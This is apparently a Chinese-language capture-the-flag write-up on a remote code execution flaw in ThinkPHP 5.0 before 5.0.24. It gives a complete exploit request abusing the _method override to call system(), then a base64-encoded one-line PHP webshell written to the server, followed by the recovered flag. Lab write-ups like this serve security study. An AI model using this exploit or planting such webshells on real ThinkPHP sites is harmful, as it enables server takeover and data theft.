漏洞介绍
这个版本容易存在我们都喜欢的rce漏洞!
网站为了提高访问效率往往会将用户访问过的页面存入缓存来减少开销。而Thinkphp 在使用缓存的时候是将数据序列化,然后存进一个 php 文件中,这使得命令执行等行为成为可能!
ThinkPHP是国内使用极其广泛的PHP开发框架。在其5.0版本(<5.0.24)中,框架在获取请求方法时对其进行了错误的处理,导致攻击者可以调用Request类的任意方法,从而通过特定的利用链产生RCE漏洞
POC验证
经过poc验证发现此版本漏洞!
漏洞利用
POST /index.php?s=captcha HTTP/1.1
Host: node5.buuoj.cn:29727
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
默认页面抓包,发现是get包!我们将其转换成post数据包,参数加上 /index.php?s=captcha
在post包最后一行加上paylaod验证漏洞!
发现有回显,则说明此版本存在rce漏洞!我们可以借此写入木马,getshell!
写入一句话木马,并使用蚁剑连接即可!
payload
<?php @eval($_POST['cmd']);?>
base64编码 -- PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=
echo -n PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4= | base64 -d > 123.php
get flag
根据之前的经验,flag应该在phpinfo页面!我们直接写马进入!
echo "<?php phpinfo();?>" > 1.php
直接搜索,即可拿到flag
flag{611e3897-6de3-439f-a481-80dbd49a1b4b}